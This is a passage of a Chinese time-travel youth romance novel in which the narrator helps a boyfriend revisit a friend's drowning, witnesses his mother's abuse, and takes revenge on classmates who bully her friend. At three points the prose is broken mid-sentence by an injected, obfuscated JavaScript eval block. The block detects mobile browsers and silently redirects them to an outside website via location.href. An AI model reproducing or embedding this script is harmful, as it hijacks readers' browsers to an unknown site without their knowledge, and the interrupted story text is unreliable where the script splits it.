警察叹了口气:“早知道怕,当初干嘛去了?遇事不知道冷静一点?打架能解决问题吗?” 事实上,真正动了手的只有江祈一个人。 所以,警察只通知了江祈的家长。 他始终沉默地站着,低着头,什么也没说。 直到一位女士踩着高跟鞋走了进来。 她妆容精致,衣着得体,浑身散发着冷冽而逼人的气场。 她径直走到江祈面前停下,那眼神让我感到一阵寒意。 连一旁原本站得松散的迟萧和,也挺直了背脊。 她就是江祈的妈妈。 女人冷冷地看了他一眼,视线又扫过我和参宿,忽然发出一声极轻的冷笑。 “江祈,长本事了。”她的声音不高,却字字清晰,“学会逃课了,还带着女同学。” 张扬解释:“不是的阿姨,其实是我们……” “轮不到你说话。”她甚至没看张扬一眼,直接打断了他。 张扬噎住了,后面的话没能说出口。 她重新看向江祈,语气讥诮:“怎么了?好学生的面具戴不下去了?” 这句话让我感到无比震惊和不适。 在场的人,包括几位警察,似乎也都觉得这话太过突兀和刻薄。 一个母亲,怎么能这样对自己的儿子说话? 江祈终于开口,声音很低,也很平静:“对不起。” 他母亲又是一声冷笑:“你和他一样,永远只会说对不起,虚伪。” “我和他不一样。”江祈说。 “啪!” 一记极其响亮的耳光猝不及防地扇在江祈脸上。 所有人都惊呆了。 警察立刻上前劝阻:“这位家长!有话好好说!不能对孩子动手!” 江祈的脸被打得偏向一边,过了一两秒,他才慢慢转回来,脸颊上浮现出清晰的指痕。 他重复道:“我和他不一样。” “啪!” 又是一记耳光。 警察也有些动了气:“你这属于家暴了!不能再打了!” 迟萧和对江祈母亲说:“是我硬要拉他出来的。” 江祈母亲看向迟萧和,嘴角勾起冰冷的的弧度:“好样的。” “你想报复我们,是不是?你想把他彻底毁掉,是不是?” 她不屑地挥了一下手:“好啊,随便你。” 她转过身,高跟鞋踩在地上发出清脆又决绝的“哒哒”声,只留下一句:“我的代理律师会处理今天所有的事宜。” 因为事发在上学期间,警察通知我们的班主任来领人。 我们几个像等待审判的犯人一样,煎熬地坐在那里。 江祈则站在派出所大门外,和他母亲留下的那位律师低声谈话。 我跟一位警察叔叔小声请求,想出去和江祈说两句话。 他看了看我们,叹了口气,点头同意了。 我走出去时,律师刚好和江祈谈完,进去和那个被打的大哥协商赔偿事宜了。 门口只剩下我和江祈。 他垂着眼眸,嘴角还残留着一点血丝。 人如果喜欢一个人,就会忍不住心疼他。 我抬起手,下意识想去碰碰他红肿的脸颊,却又觉得不太合适,手悬在半空。 就在这时,江祈却微微向前倾了一点身子,主动将受伤的那侧脸颊轻轻贴在了我的掌心,极轻地蹭了蹭。 这个动作太过亲昵。 “你妈妈打你了。” 我问他:“很疼吧?她……她为什么那样说你?” 他抿着唇,低着头,没有立刻回答。 我轻声说:“我不是要打探你的隐私……我们,我们不是男女朋友吗?我觉得有什么事情,你不要一个人憋着,可以告诉我。” 他或许是有些动容,沉默了片刻,在旁边的花坛边缘坐下。 我也轻轻坐在他旁边。 秋风吹过,带着凉意。 “其实,我和迟萧和很早就认识 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“我的父亲和他的母亲本来是一对,后来我父亲为了攀附权贵,抛弃了他母亲,娶了我母亲。这件事,在我们初三那年,被撞破了,他们选择了离婚。” “我母亲,从那以后,就很讨厌我。她觉得我流着他的血,和他是一样虚伪的人。” 他扯了扯嘴角:“至于我和迟萧和,因为这件事,我们的关系变得无比尴尬,再也无法像以前那样面对彼此。” “但作为局外人的刘小满,对这一切并不知情。他不明白我们俩为什么突然就变得那么疏远,他一直很努力地想给我们制造机会,希望我们的关系能恢复如初。” “有一天,他用他奶奶的手机,给我打了一个电话。我当时心情很乱,没有接。” “等我再想去找他的时候,他已经不在了。” 我屏住呼吸,不在了? “为什么……会这样?” “我们三个,以前很喜欢一起去霖雨河摸鱼捉泥鳅。那一年,雨水特别多,河水涨得很高,而我和迟萧和都不在,他一个人下去了……” 他垂眸,长长的睫毛在眼下投出一片阴影。 “就再也没有上来。” “而他最后时刻打来的电话,我没有接。” 9. 重来,拯救刘小满! 江祈和迟萧和关系真正的破裂,并非因为父辈的纠葛。 而是横亘在两人之间、那个名为刘小满的逝去的生命。 迟萧和始终无法释怀,埋怨江祈当初没有接到那个电话,否则结局或许会不同。 而江祈自己也一直活在无尽的自责与煎熬里,从未真正原谅过自己。 看着他眼中深不见底的痛苦,一个念头猛地击中了我。 “江祈,”我轻声问他,“如果……上天可以给你一个回到过去弥补缺憾的机会,你愿意回去吗?” 他看向我:“回到过去?” “嗯。”我坚定地点头。 “真的……可以回到过去吗?” “可以。” 周围的景象开始变得模糊、扭曲,下一刻,我们站在那片无尽的蒲公英花田里。 微风拂过,无数白色小伞轻盈地飞向远方,落地生根。 我和他相对而立。 我随手摘下一朵饱满的蒲公英,绒毛在风中微微颤动。 “你要做什么?”他看着我手中的蒲公英。 “我会帮你,江祈。”我看着他,一字一句地说。 在吹散那朵蒲公英之前,我鼓起勇气:“江祈,你可以……亲我一下吗?” 也许改变了过去,我们就不会再相遇,也许我们不会认识,不会成为男女朋友,也许一切都会变得截然不同,引发无法预料的蝴蝶效应…… 这一刻,我只想留下一个印记,一个或许会被未来抹去,但此刻真实存在的印记。 他微微一怔,随即缓缓俯身,朝我凑近。 然而,就在他的唇即将触碰到我的前一刻,一阵强风吹过,我指尖那朵蒲公英猛地散开,无数细小的种子乘着风,急不可待地飞向四面八方,瞬间模糊了我们之间的视线。 …… 我猛地睁开眼。 初三(4)班的教室。 我竟然也回来了? 我抬起头看着时钟17:10,离下课时间还差10分钟。 来不及细想,我“噌”地站起身,完全不顾讲台上老师和周围同学惊异的目光,撒腿冲出了教室。 凭借模糊的记忆,我找到了初三(1)班的教室。他们还在上课,透过窗户,能看到语文老师正在领读。 “故人西辞黄鹤楼,烟花三月下扬州。孤帆远影碧空尽,唯见长江天际流。” 朗朗读书声中,我一眼就找到了江祈。他坐得笔直,侧脸清隽,还是少年青涩的模样。 我的心跳得飞快。 下课铃终于响了。 老师刚说完“下课”,我就第一个冲进了一班的教室,在一片好奇的目光中,径直跑到江祈面前,一把拉住他的手腕。 他十分惊讶地看着我,眼神里全是陌生。 他是鼎鼎大名的年级第一,而此刻的我,只是这所中学里一个不起眼的小透明,他根本不认识我。 但我顾不了这么多了。 “江祈,跟我走,我带你去见刘小满。” 他眼睛里闪过一丝迷茫的神色。 我语速极快:“我是从三年后来的,刘小满可能遇到危险了,我们必须去救他,你听明白了吗?” 或许是听到刘小满可能会遇到危险,他动摇了。 “好。” 最终他连书包也没有收拾,就跟着我一起冲出了教室。 然而,就在我们刚刚踏出校门,还没来得及喘口气的瞬间。 一辆黑色的轿车猛地刹停,横挡在我们面前。 江祈下意识地后退了半步。 我立马意识到车里坐的人是谁。 车门打开,江祈的妈妈从车上下来,“砰”地一声重重关上车门。 她妆容精致,眉眼阴郁冰冷。 这个时候,她已经知道了丈夫的背叛,并将那份恨意和不甘,转移到了流着同样血液的儿子身上。 “你们俩,要去做什么?” 江祈抿了抿唇:“去找一个朋友。” “朋友?”她嗤笑一声,“迟萧和?” “不是。”江祈否认。 “我凭什么信你?”她上前一步,“你和你爸一样,满口谎话,信口雌黄!表面上装得人模狗样,骨子里最是虚伪冷血!除了会骗人还会什么?” 校门口正是人流高峰期,很多学生和家长都停下了脚步,好奇地看着我们这边,指指点点,窃窃私语。 我的拳头攥得紧紧的。 女人注意到了我的愤怒,上下打量了我一番,眼神轻蔑:“小姑娘,我劝你擦亮眼睛,离他远点,别被他这副好学生的皮囊骗了。” “他们江家的男人,最擅长的就是装模作样欺骗别人感情!你玩不起的!” 这些话像刀子一样,不仅扎向江祈,也让我感到无比难堪和愤怒。 “不是这样的,阿姨!”我忍不住开口辩解,“江祈他没有骗我,是我要带他去找一个朋友,那个朋友现在真的很危险,可能会出事的!” 但她根本听不进任何解释。 “危险?能有什么危险?少找借口!” 她厉声打断我,不由分说地一把抓住江祈的手臂,连拖带拽地将他塞进了轿车的后座。 那样一个清瘦挺拔、正处于青春期的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16480727|185628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 男生,在她强势的拉扯下,竟然没有太多反抗的余地,或者说,是习惯了某种沉默的顺从。 车门被狠狠关上,隔绝了内外。 我无助地站在原地,看着那辆黑色的轿车绝尘而去。 怎么办?现在过去了多久?刘小满他……会不会已经…… 我摸遍口袋,翻出身上仅有的零钱和学生卡,冲向最近的公交站台。 没关系,我也可以自己去改变。 二十分钟后,我在霖雨河站下了车。 车站正对着的就是蜿蜒的霖雨河,河对面是刘家村。 霖雨河的起源点有一座老旧的石桥。 我飞快地跑上石桥,焦急地向下张望。 果然!在下游不远处的河滩边,我看到一个瘦小的身影,正赤着脚,在河水里摸索。 那应该就是刘小满。 河水看起来异常湍急浑浊,水位显然比平时高很多。 “刘小满!!!” 我双手拢在嘴边,用尽全力朝他大喊,“快上来!水里危险!快上来!” 他听不见,正为自己抓到一条大鱼而开心,完全没意识到危险正在逼近。 我心急如焚,冲下石桥,想沿着河岸跑过去。 然而,就在我快要接近河滩时—— “砰!” 我像是撞上了一堵无形的墙,巨大的反作用力让我猛地向后跌坐在地上,屁股生疼。 眼前空无一物,可我为什么过不去? 我爬起来,拼命拍打着那堵无形的墙壁:“刘小满!看看我!别再往里面走了!” 但他听不到。 他笑着举起扑腾的鱼,河水已经没到了他的腰际,水流更加汹涌。 我绝望地闭上眼睛,不敢再看下去。 …… 等我重新睁开眼,耳边依旧是嘈杂的读书声。 我猛地抬头看向时钟—— 17:10。 我又回来了。 这一次,我没有任何犹豫,在老师惊讶的目光和全班同学的注视下,我直接夺门而出。 我用最快的速度冲到一班教室门口,这一次他们班还没有开始读那首诗。 我不管不顾地一把推开门,在所有惊愕的目光中,径直冲向江祈的座位。 “哪个班的学生?”老师惊讶地开口。 我一把抓住江祈的手腕,将他从座位上拉起来:“跟我走!刘小满要出事!跟我走!” 江祈眼神一凛,没有任何犹豫,立刻跟着我跑出了教室。 我们提前了整整十分钟。 这一次,一定能避开。 10. 学习,乃是我的使命 我们一鼓作气冲下四楼,直奔学校大门。 然而,一个现实的问题摆在眼前——离放学还有十分钟,保安绝不会放我们出去。 “站住!还没到放学时间呢!” 保安大叔拦在门口,一副公事公办、毫不通融的样子。 他看着我和江祈,眯了眯眼,凭借多年经验怀疑道:“你俩不会是提前早退想溜吧?” 我心里一紧,急忙摆手:“不是的,我们真的有急事……” “哪个班的?班主任是谁?”他逼问。 情急之下,我一把抓住江祈的手腕,转身就往旁边跑! “快走!” 要是被抓住,就真的来不及了。 “哎!你们给我站住!”保安大叔见状,立刻追了上来。 我们慌不择路,跑到一堵相对低矮的围墙下。 我推推江祈:“快!翻过去!” “你呢?”他喘着气问。 “别管我了!你快去霖雨河救刘小满!” 然而,江祈却没有听从我的话先走。 他毫不犹豫地立刻蹲下身:“踩着我上去。” 我愣了一下,想说“不要”,但身后保安的脚步声和呵斥声越来越近。 别无选择。 我咬咬牙,踩上他稳稳的肩膀,扒住墙头,奋力翻了上去,然后跳下墙外。 几乎就在我落地的同时,江祈也利落地单手一撑,敏捷地翻越了过来。 墙内传来保安气急败坏的叫骂声。 我们心跳如雷,不敢停留,拔腿就向公交站台狂奔。 跳上刚好到站的公交车,关门的瞬间,放学铃声远远地从学校方向传来。 我们……逃出来了。 二十分钟的车程,此刻却漫长得像一个世纪。 我紧紧攥着扶手,手心全是冷汗。 如果这一次还是无法改变,会怎么样? 难道我会被永远困在这个死循环里吗?这个念头让我不寒而栗。 车一到站,我们跌撞着冲下车。 我腿一软,差点跪倒在地,江祈一把扶稳我,然后紧紧拉着我的手就向霖雨桥方向冲去。 没想到,十八岁没牵到的手,竟然在十五岁阴差阳错地牵到了。 我们一路从桥上跑下河滩。 我猛地停住脚步:“我过不去了,你快去找刘小满。” 江祈眼神一凛,毫不犹豫地朝刘小满的方向冲去。 然而。 “砰!” 一声闷响,他竟然也被一股无形的巨大力量猛地弹了回来。 我瞳孔骤缩,浑身血液仿佛都凝固了。 什么意思?连江祈也过不去? 江祈也慌了,他看向不远处的瘦小身影,眼神里充满了绝望。 我们开始像疯了一样,用尽全身力气去撞那堵看不见的墙,肩膀撞得生疼,灵魂都要被震出躯体,但那堵墙纹丝不动。 我把江祈带到这里的意义,难道就是为了让他亲眼目睹刘小满的死亡吗? 这太残忍了。 更可怕的是,如果我回到过去,却根本无法改变任何事,那我回来的意义究竟是什么? 那我和参宿……是不是最终也注定会走向决裂的结局? 脑子乱成一团麻。 恍惚间,我听到一阵嗡嗡的震动声。 是江祈口袋里的手机在响。 他浑身一僵,按下接听键。 “江祈哥!你终于接我电话了!”电话那头是刘小满兴奋的声音。 江祈强迫自己镇定下来,声音却抑制不住地发颤:“小满……不要站在河里,很危险,快上岸吧。” 我紧张地吞咽着口水,死死盯着远处的刘小满。 刘小满没有任何动作。 “小满,河里很冷,不要呆在河里。”江祈重复了一遍。 刘小满还是没有动作。 我不得不承认一个事实,他听不到。 “江祈哥,我还以为你再也不理我了呢。” “我最近好孤单呀,你和萧和哥都没有来找我玩。” “对不起……小满……”江祈的眼泪瞬间涌了出来,声音哽咽。 江祈在哭,可惜刘小满听不到。 “你知道吗?霖雨河里的鱼变多了呢,我一会儿抓一大条回去,让我奶奶给你们做糖醋鱼吃!你和萧和哥可以一起来吗?” “好……好啊……” 江泣不成声,拼命点头,“我和他……一起来……” “你们不要再冷战了,好不好?” 江祈握着手机保证:“我们不会再冷战了……我们会和好的……” “我们还是一辈子的好朋友,对不对?”刘小满问,声音被风吹得有些模糊。 “对……”江祈的眼泪汹涌而出,滴落在干燥的土地上,“我们是一辈子的好朋友……” …… 周围的场景消退,空间碎裂。 等我再次回过神来,我们已经回到了那片寂静的蒲公英花田。 微风依旧,白色的绒球轻轻摇曳。 江祈站在我对面,脸上满是未干的泪痕。 “你接到他最后一个电话了吗?”我问他。 “接到了。” —— 从那片蒲公英花田回来,只是一瞬间的事。 周遭的景象骤然切换,刺耳的喇叭声尖锐地响起,冰冷的雨点密集地砸落,打在身上竟有些发痛。 车辆从我身边疾驰而过,溅起浑浊的水花。 我回来了。 回到了11月21日,我和江祈分手这一天。 我茫然地站在雨中,手机屏幕被雨水打湿,模糊地显示着那条我发出的“我们分手吧”。 以及下方,江祈在五分钟前回复的那个简短的“好”。 不知所措。 我下意识地去摸脖子,那根星星项链,并不存在。 没有改变…… 怎么回事? 为什么?为什么我和江祈还是分手了?为什么一切仿佛又回到了原点? “嘀!!!” 一辆轿车擦着我的手臂猛地刹停。 司机惊恐地探出头,对着我怒吼:“找死啊你?不要命了!” 我这才惊觉自己不知何时走到了马路中央。 我恍恍惚惚地退到人行道上,雨水模糊了视线,也模糊了思绪。 我朝着医院的方向走去。 如果没有记错,这一天,奶奶住院了。 走到病房门口,那里围了一圈人。 我的心猛地一沉,挤开人群向里靠近,听到妈妈撕心裂肺的哭喊声从里面传来: “你到底还要折磨我到什么时候?我难道做的还不够多吗?你为什么还要这样对我?” “五年了!你瘫痪五年了!我给你擦屎擦尿,做到这个份上了!你还有什么不满意的?你到底还要折腾什么呀?” 奶奶一动不动地躺在病床上,脸色灰败。 我听到周围有人小声议论:“怎么回事?子女不想照顾老人了?” 一个知情的大妈低声解释:“不是……是那个老太太,趁儿媳妇不注意, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16480728|185628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己从床上爬下来……想从窗户跳下去……” 我心头巨震。 奶奶……要跳楼? “估计是老人不想再拖累子女了吧……”有人叹息道。 我用力挤开人群,走了进去。 妈妈看见我,怔住了。 “妈。”我喊了她一声。 目光向下,看到病床上的奶奶紧紧闭着眼睛,眼泪却不断从眼角滑落,浸湿了枕套。 我看着妈妈布满血丝的眼睛,说:“妈,要不然你走吧。” 她不可思议地瞪着我。 “你离开我们吧,去过你自己的生活。” “商尽欢!你在胡说八道什么?”她猛地抓起病床上的枕头狠狠砸向我。 “我没有胡说。” 我没有躲,任由枕头砸在身上:“这么多年了,你对我们仁至义尽了,你该去过自己的生活了。” “不要再被我们耽误了,你走吧。” 她却像疯了一样冲我吼:“商尽欢!你不认我这个妈了是不是?你要赶我走?” “不是的,我只是希望你可以……可以幸福一点。” “我幸不幸福不用你管!”她喘着粗气,胸口剧烈起伏,“你只管好好读书就行了。” 我平静地反驳她:“我已经成年了,我可以照顾奶奶,我可以……” “你拿什么照顾?”她打断我,声音尖利,“你不读书了吗?你去打工吗?你出去看看你能挣几个钱?能撑起这个家吗?” “我可以不读,我无所谓。” “欢欢……不要……”病床上的奶奶终于出声。 “都是我对不起你们……是我拖累你们了……是我不好……”她开始无助地哭泣,流出浑浊的泪水。 她很痛苦,妈妈很痛苦,我也很痛苦。 我们究竟要痛苦到什么地步? 妈妈看着奶奶,又看着我,疲惫地叹了口气。 许久,她抬手,把凌乱的头发全部撸到脑后,然后叉着腰。 “好了,今天是我太急了,是我不对,我不该乱发脾气。” 她走到奶奶床边,替她掖了掖被角:“妈,您不用觉得连累我们,如果真觉得……那您就好好养好身体,别让我操心了,好吗?” 然后她转向我:“你,就给我好好读书,考一个好大学。将来出息了,好好报答我,能做到吗?” 我无语凝噎,最终吐出一个字。 “能。” …… 周日下午返校前,我先回了趟出租屋,参宿一般会比我早到。 我推开门,她果然在。 但她没有像往常一样欢快地回头打招呼,只是背对着我,坐在书桌前,面前摊着一本作业,笔却一动不动。 我放下书包,她被惊动:“你来了啊。” 直到这时,我才发现,眼前的参宿,脸上已经没有了笑容。 她的嘴角不再习惯性地弯起,那双眼睛也开始黯淡无光,灰蒙蒙一片。 在过往的记忆里,我和参宿的关系,就是在这样我浑然不觉的日常中,一点一点、悄无声息地变得冷淡疏远的。 那时候,我固执地认为是因为自己太沉迷于学习,忽略了她的感受,才导致我们渐渐无话可说。 我总天真地以为,没关系,等忙过这一阵,等考上大学,我们就会有更多的时间在一起,关系自然会回到从前。 可我从未真正意识到,有些裂缝一旦产生,就无法弥补。 就在一个半月后,她搬走了。 我们之间,最终走向了老死不相往来的结局。 11. 坏人,你们没有好报! 如果重来一次,结局仍然无法改变。 那至少,我可以享受这其中片刻虚假的温馨,不也是好的吗? “参宿,”我转过头,轻声问,“你遇到什么烦心事了?” 这一次,我一定要学会关心她。 听到我的问话,参宿的眼睛明显亮了一下。 即便那只是一句再普通不过的关心,对她来说似乎也弥足珍贵。 她重新扬起笑容,对我说:“没事呀,就是最近有点累啦。” 我能感觉到她有事情瞒着我,定定地看了她几秒。 她被我看得有些不自在,撇撇嘴,伸手拍了我一下:“干嘛呀你?” 我没有再追问下去,只是顺着她的话说:“高三嘛,累点很正常。” “熬过去就好了。” 她也勾勾嘴角,重复道:“对呀,熬过去就好了。” 周天的晚自习是班主任徐春红的,她教数学,而数学偏偏是参宿的死穴。 众所周知,当你某一科学不会时,你就会开始惧怕这一科的老师。 参宿也不例外。 上个星期考的期中试卷发下来了,参宿只得了46分。 徐春红站在讲台上,脸色铁青,勃然大怒。 她抓起一沓试卷,用力拍在讲桌上,发出“砰”的一声巨响,吓得底下鸦雀无声。 “看看!都给我看看你们考的是什么鬼东西!” “平均分比隔壁班低了整整十分!十分!你们脑子里整天都在想什么?谈恋爱?玩手机?” “高三了!一点紧迫感都没有!我对你们太失望了!就这成绩,还想考大学?趁早回家种地去吧!别在这里浪费父母的血汗钱!” 我一直都不懂说这些贬低和恐吓的话意义何在,只能低下头,做自己的事情。 骂完全班,徐春红又开始精准点杀那些考得极差的个别同学。 很不幸,参宿被她点了起来。 “参宿!46分!你怎么考出来的?” 参宿低着头不敢说话。 “啊?我上课讲的东西都喂狗了?长得挺机灵,怎么就是个绣花枕头一包草?脑子呢?用在什么地方上了?是不是全用在怎么打扮、怎么惹男生注意上了?!” 我压着桌面的手指猛地收紧,怒火瞬间窜起。 就算在我以前那所教育资源匮乏的高中,老师也极少这样公开地、用如此侮辱性的词汇评价一个学生。 在我看来,老师只有在学生犯了原则性错误时才可以严厉批评,但参宿做错了什么?她仅仅是因为数学成绩不好,就要被这样公开羞辱? 我内心有一万种反驳的话,一万句想骂回去的冲动,但我清楚,我只是个借读生,我没有任何能力对抗班主任,我承担不起顶撞老师的后果。 参宿最终被她勒令站到教室最后面去。 只有她一个小女生,孤零零地贴着墙壁站着,低着头,耳根通红。 徐春红终于开始讲试卷。 此时,晚自习已经过去了二十分钟。 她转过身,在黑板上写下一道题的解题步骤。 就在这时,我看到张扬忽然站了起来。 他什么也没说,只是慢悠悠地走到教室最后面,站到了参宿旁边,和她并排靠着墙。 徐春红转过身时,脸色瞬间变得极其难看。 她瞪着张扬:“大哥,你闹哪出?” 底下的同学开始窃窃私语,随即爆发出压抑不住的窃笑和起哄声。 青春期的一男一女,很容易让人产生暧昧的联想。 张扬无所谓地耸耸肩:“老师,我困了,在后面站一会儿清醒清醒。” 参宿的脸更红了,她小声地想让张扬回去。 就在这一刻,我也站起了身。 在众目睽睽之下,我走到教室最后面,站到了参宿的另一边,同样靠墙站着。 底下瞬间安静了,所有目光都聚焦在我们三个身上。 我内心反而一片平静,甚至带着点嘲弄。 一群草包。 一群只会嗡嗡起哄的苍蝇。 一群人人喊打的过街老鼠。 一群以造谣和看笑话为乐的杂碎。 我们的参宿是个好女孩。她有喜欢她的男孩,有愿意陪她一起罚站的朋友。如果我们终究无法抗衡这莫名的恶意,那我们就一起挨骂。 出乎意料的是,徐春红没有继续骂我们。 因为张扬是男生,因为我成绩很好。 她最终只是气得把教材重重砸在讲桌上,然后铁青着脸继续讲题。 第一节晚自习下课,我们三个人的腿都酸得要命,挪回座位坐下。 张扬从桌肚里掏出一个小小的按摩锤,递给参宿:“喏,敲敲腿,放松一下。” 参宿抱着胳膊,扭开脸:“不要。” 张扬也不生气,干脆蹲下来,拿着小锤子轻轻帮她敲小腿。 参宿在我们这里,永远都有任性和撒娇的权利,甚至我们会觉得她这样很可爱。 不远处,那几个女生又在议论:“啧,真是舔狗……” 张扬听见了,扭头就怼了回去:“我乐意!” “你们怎么没有?是人不行吗?” 那几个女生气得脸色发白。 我一直都觉得她们这种人特别奇怪,明明有事的时候一次次求参宿帮忙,怎么能转头就说这些风凉话? 恩将仇报是没有好下场的——这一点,我会找机会告诉她们。 晚上10:30,晚自习结束的铃声准时响起。 走到校门口,我跟参宿说我有东西忘拿了,让她先回去,然后我转身噔噔噔地跑回教学楼。 走廊的灯已经熄了一半,空无一人。 我目标明确,走到那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16480729|185628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几个经常说参宿坏话的女生座位旁,把她桌肚里那本写了大半的、厚达几百页的《高考一轮复习》练习册抽了出来。 160多块钱一本,沉甸甸的。 接着是第二个,第三个,第四个。 我抱着这厚厚的几大本“战利品”,快步走到走廊转角的垃圾桶旁,毫不犹豫地,把它们全都丢了进去。 我承认,我这样的做法非常幼稚,没什么实际杀伤力,而且极其不道德,甚至有些卑劣。 可这是我为数不多能想到的、能出口恶气、哪怕只能给她们添点小麻烦的办法。 而且,我就是这样卑劣的一个人。 无所谓。 我记得很清楚,走廊尽头的这个监控没有开。 之前有学生在这里偷摸给手机充电,结果手机丢了,校方后来才承认这里的监控其实根本没开。 退一万步讲,就算真的被拍到,被抓到了,那也没事。 大不了,我就滚回我原来的学校去读。 我拍拍手,心情轻快起来,小跑着从楼上蹦跳下来。 没想到,参宿还在校门口等着我。 我跑过去,从后面拍了她一下,把她吓了一大跳。 “吓死我啦!”她捂着心口,嗔怪道。 “东西拿好了?”她问。 我点点头:“嗯哼。” 两个人并肩走在回出租屋的路上。 夜色朦胧,路灯将我们的影子拉得很长。 “参宿。”我轻轻用肩膀撞了她一下。 “怎么了?”她侧过头看我。 “你不要为今天徐春红说的话难过。”我说。 她吐了吐舌头,故作轻松:“我不难过呀,其实我挺没心没肺的。” 但我明白她根本不是这样的人。 相反,她敏感又细腻,否则也不会一次又一次答应别人的请求,去充当那个吃力不讨好的“烂好人”。 我告诉她:“徐春红那么说你,纯粹就是嫉妒你年轻又貌美。” 她一下被逗笑了,眼睛弯起来:“是吗?” “对呀,”我一本正经地点头,“你长得很像那个……那个……” “什么?”她十分好奇地睁大眼睛。 我眯着眼睛,故作深沉地思考了一下,然后说:“像《倚天屠龙记》里的那个……” “什么什么?赵敏?” “灭绝师太。” “屁呀!”她重重地捶了我一下,“商尽欢你找死!” 我大笑着躲开:“开玩笑的啦!其实我觉得你很像演周芷若的高圆圆,特别是眼睛。” 她嘟着嘴,将信将疑地问:“真的吗?” “对呀,”我看着她,无比真诚地补充,“不过我觉得你比她更漂亮。” 她一下就笑起来,眼睛亮晶晶的,像落满了星星。 真漂亮啊。 12. 妈妈,难道我不是你的孩子吗? 走到我们住的那栋破旧居民楼下,底层开着的小卖部还亮着灯,快到十一点了也没关门。 参宿肚子饿,拉着我进去买了两袋方便面。 回到出租屋,她立刻蹲在地上,手脚麻利地拆开包装,接水,开火,等着面煮开。 狭窄的房间里很快弥漫开一股廉价却诱人的香味。 我们俩就着那个小锅,头碰头地分吃完了面,这样只需要洗一个碗。 吃完后,我们石头剪刀布决定谁去洗碗,这次我输了。 参宿笑嘻嘻地拍拍我的肩膀:“交给你啦!”然后自己就甩手倒在了下铺床上。 我们的床是铁架上下铺,参宿睡上铺。但她经常赖在我的下铺玩手机或者看书,我也从不在意。 等我洗完碗回来,她果然还瘫在床上,作业一点没动,只是举着手机刷个不停。 从前,她也是从这段时间开始彻底摆烂,成绩直线下滑,徐春红也看她越来越不顺眼。 我把碗放好,走到床边。 “干嘛呀你?”她抬眼瞥了我一下,手指还在屏幕上滑动。 “手机就这么好玩?作业一点也不写?”我问。 她笑嘻嘻的,浑不在意:“语文不用管,反正我是课代表。数学明早抄你的就好啦。英语晚自习我写完了。其他的……就听天由命吧!” 说完,她开始在视频软件里翻找电影。 从前也是这样。 每次我刷题刷到想撕书的时候,她都会这样问我,要不要一起看个电影放松一下?那时候的我总是又气又急,我觉得我必须争分夺秒地学习,把自己绷得像一根快要断裂的弦。我太珍惜这个来之不易的、可能改变命运的机会了。 而参宿不用,她好像有资本摆烂,在这样的好高中里,她每天开开心心混着,也能上个不错的大学。她没有我那种偏执的、对成绩的在乎。 所以每次她邀请我,我都会毫不留情地拒绝。 但这一次,我主动说:“我们一起看吧。” 她诧异地抬起头:“你不学习了?” 我撇撇嘴,学着她往常的样子瘫倒在床沿:“我也想放松一下,你想看什么?” “不知道呀……”她划拉着屏幕。 “看鬼片!”我有点激动地趴过去提议。 “不要!”她立刻拒绝,缩了缩脖子。 参宿胆子其实很大,不怕各种昆虫,也不怕黑,但唯独怕鬼。 我故意逗她:“看嘛看嘛,我陪着你,看点刺激的!” 她撅着嘴犹豫了半天,最后我们俩挑了一部据说不太恐怖的经典老片——《灵异第六感》。 我和参宿兴奋地跑去外面公用的卫生间快速洗漱完,然后关了灯,一起钻进被窝里。 一张宽度只有九十厘米的床,我们俩得紧紧挨着才不至于掉下去。 一开始是我举着手机,手酸了就换她举。 电影开头还是有些许恐怖氛围,参宿吓得捂着脸,却又忍不住透过指缝偷看,时不时“啊!”一声。 每次她一叫,我也跟着被吓一跳。 出租房的隔音很差,我们不敢太大声,只能紧紧挨着,从对方的体温里汲取一点勇气。 看了大概半小时,快到十二点的时候,隔壁房间响起了巨大的呼噜声,穿透薄薄的墙壁传过来。 虽然很吵,但在这样一个寒冷的夜晚,让人觉得安稳。 我和参宿窝在小小的床上,被窝里暖烘烘的,手机屏幕的光映在我们脸上。 这是高三以来,我极少感受到的放松的一刻。 电影进行到后半段,那个能看见鬼魂的小男孩坐在车里,对他的妈妈说:“外婆让我告诉你,她去看你了舞蹈表演。” 妈妈愣住了。 男孩继续说:“你们小时候吵过一次架,就在你登台表演之前。你以为她没去看,但她其实去了。她躲在后面,没让你看到。” “她说,你跳舞的样子,就像一个天使。” 男孩顿了顿,看着泪流满面的妈妈,轻声问:“你去过她的墓地,问她一个问题。她说她的答案是……每一天。” “妈妈……你当时问了什么?” 屏幕里,妈妈泣不成声,几乎说不出一句完整的话:“我……我问她……我有没有……令她骄傲?” 看到这里,参宿揉揉眼睛,无声地哭了。 我们搂着一起哭。 哭累了,我们就那样相互依偎着,沉沉睡了过去。 